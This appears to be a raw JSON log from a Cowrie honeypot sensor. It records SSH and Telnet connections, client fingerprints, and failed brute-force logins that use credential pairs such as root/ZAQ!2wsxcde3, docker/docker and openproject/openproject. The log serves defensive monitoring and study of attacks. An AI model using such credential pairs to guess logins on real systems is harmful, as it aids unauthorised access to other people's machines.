{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:00.190366Z","src_ip":"176.65.132.5","session":"0ea43e62a991","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"1234","message":"login attempt [user3/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:00.823692Z","src_ip":"176.65.132.5","session":"0ea43e62a991","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:01.912580Z","src_ip":"176.65.132.5","session":"0ea43e62a991","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":44482,"dst_ip":"159.203.135.109","dst_port":22,"session":"2a66a8be9124","protocol":"ssh","message":"New connection: 43.133.62.188:44482 (159.203.135.109:22) [session: 2a66a8be9124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:04.891571Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:04.899812Z","src_ip":"43.133.62.188","session":"2a66a8be9124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:05.133402Z","src_ip":"43.133.62.188","session":"2a66a8be9124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsxcde3","message":"login attempt [root/ZAQ!2wsxcde3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:06.099229Z","src_ip":"43.133.62.188","session":"2a66a8be9124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.89034724235535,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:06.168599Z","src_ip":"152.42.224.71","session":"6a4fada6c369","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:07.335229Z","src_ip":"43.133.62.188","session":"2a66a8be9124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.17911148071289,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:08.635771Z","src_ip":"209.127.178.212","session":"7c914de3742a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"0503b06445ea","protocol":"telnet","message":"New connection: 152.42.224.71:34316 (10.17.0.5:23) [session: 0503b06445ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:09.295057Z"}
{"eventid":"cowrie.session.closed","duration":101.87368845939636,"message":"Connection lost after 101 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:09.436773Z","src_ip":"152.42.224.71","session":"7bbd2b8ebc0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":35282,"dst_ip":"159.203.135.109","dst_port":22,"session":"29df3d104fe9","protocol":"ssh","message":"New connection: 43.156.28.136:35282 (159.203.135.109:22) [session: 29df3d104fe9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:14.451478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:14.456504Z","src_ip":"43.156.28.136","session":"29df3d104fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.645606994628906,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:14.657610Z","src_ip":"152.42.224.71","session":"a9df04fc5d74","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:14.690279Z","src_ip":"43.156.28.136","session":"29df3d104fe9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:15.641998Z","src_ip":"43.156.28.136","session":"29df3d104fe9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:16.878283Z","src_ip":"43.156.28.136","session":"29df3d104fe9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49600,"dst_ip":"10.17.0.5","dst_port":23,"session":"af3d1e62a1d9","protocol":"telnet","message":"New connection: 152.42.224.71:49600 (10.17.0.5:23) [session: af3d1e62a1d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:19.294828Z"}
{"eventid":"cowrie.session.closed","duration":32.828415393829346,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:20.956086Z","src_ip":"209.127.178.212","session":"4aa1220d2b3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":57268,"dst_ip":"159.203.135.109","dst_port":23,"session":"30a4a96e77b8","protocol":"telnet","message":"New connection: 209.127.178.212:57268 (159.203.135.109:23) [session: 30a4a96e77b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:22.474403Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49606,"dst_ip":"10.17.0.5","dst_port":23,"session":"e80b79b140d8","protocol":"telnet","message":"New connection: 152.42.224.71:49606 (10.17.0.5:23) [session: e80b79b140d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:23.949993Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":60142,"dst_ip":"159.203.135.109","dst_port":22,"session":"dacb6ccc18b7","protocol":"ssh","message":"New connection: 103.188.177.46:60142 (159.203.135.109:22) [session: dacb6ccc18b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:25.308626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:25.314044Z","src_ip":"103.188.177.46","session":"dacb6ccc18b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.893709897994995,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:25.408775Z","src_ip":"209.127.178.212","session":"7f866987bc39","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:25.569461Z","src_ip":"103.188.177.46","session":"dacb6ccc18b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58770,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0adef881516","protocol":"telnet","message":"New connection: 152.42.224.71:58770 (10.17.0.5:23) [session: b0adef881516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:26.526812Z"}
{"eventid":"cowrie.login.failed","username":"qichen","password":"qichen","message":"login attempt [qichen/qichen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:26.587359Z","src_ip":"103.188.177.46","session":"dacb6ccc18b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":106.03775453567505,"message":"Connection lost after 106 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:27.744828Z","src_ip":"152.42.224.71","session":"9fce5511dc92","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:27.835918Z","src_ip":"103.188.177.46","session":"dacb6ccc18b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37636,"dst_ip":"10.17.0.5","dst_port":23,"session":"9baacd61478f","protocol":"telnet","message":"New connection: 152.42.224.71:37636 (10.17.0.5:23) [session: 9baacd61478f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:35.869015Z"}
{"eventid":"cowrie.session.closed","duration":16.64302134513855,"message":"Connection lost after 16 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:35.937519Z","src_ip":"152.42.224.71","session":"af3d1e62a1d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37650,"dst_ip":"10.17.0.5","dst_port":23,"session":"af44365c2b03","protocol":"telnet","message":"New connection: 152.42.224.71:37650 (10.17.0.5:23) [session: af44365c2b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:39.598944Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":58102,"dst_ip":"159.203.135.109","dst_port":23,"session":"d40246da3c5a","protocol":"telnet","message":"New connection: 209.127.178.212:58102 (159.203.135.109:23) [session: d40246da3c5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:46.241009Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.127.178.212","src_port":58188,"dst_ip":"159.203.135.109","dst_port":23,"session":"cce24d000f1d","protocol":"telnet","message":"New connection: 209.127.178.212:58188 (159.203.135.109:23) [session: cce24d000f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:46.301179Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":59812,"dst_ip":"159.203.135.109","dst_port":22,"session":"9666b0a574a1","protocol":"ssh","message":"New connection: 103.176.20.57:59812 (159.203.135.109:22) [session: 9666b0a574a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:48.797176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:48.801795Z","src_ip":"103.176.20.57","session":"9666b0a574a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:49.051082Z","src_ip":"103.176.20.57","session":"9666b0a574a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newyork","message":"login attempt [root/newyork] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:49.799325Z","src_ip":"103.176.20.57","session":"9666b0a574a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:51.052318Z","src_ip":"103.176.20.57","session":"9666b0a574a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.37.39","src_port":49582,"dst_ip":"10.17.0.5","dst_port":22,"session":"a11879b15c7d","protocol":"ssh","message":"New connection: 43.153.37.39:49582 (10.17.0.5:22) [session: a11879b15c7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:52.184165Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:52.188412Z","src_ip":"43.153.37.39","session":"a11879b15c7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:52.257194Z","src_ip":"43.153.37.39","session":"a11879b15c7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openproject","password":"openproject","message":"login attempt [openproject/openproject] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:52.565596Z","src_ip":"43.153.37.39","session":"a11879b15c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:53.638246Z","src_ip":"43.153.37.39","session":"a11879b15c7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.857937335968018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:54.332207Z","src_ip":"209.127.178.212","session":"30a4a96e77b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":60650,"dst_ip":"10.17.0.5","dst_port":22,"session":"a83e1b84095c","protocol":"ssh","message":"New connection: 103.77.242.62:60650 (10.17.0.5:22) [session: a83e1b84095c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:57.119197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:57.124517Z","src_ip":"103.77.242.62","session":"a83e1b84095c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:55:57.367390Z","src_ip":"103.77.242.62","session":"a83e1b84095c","protocol":"ssh"}
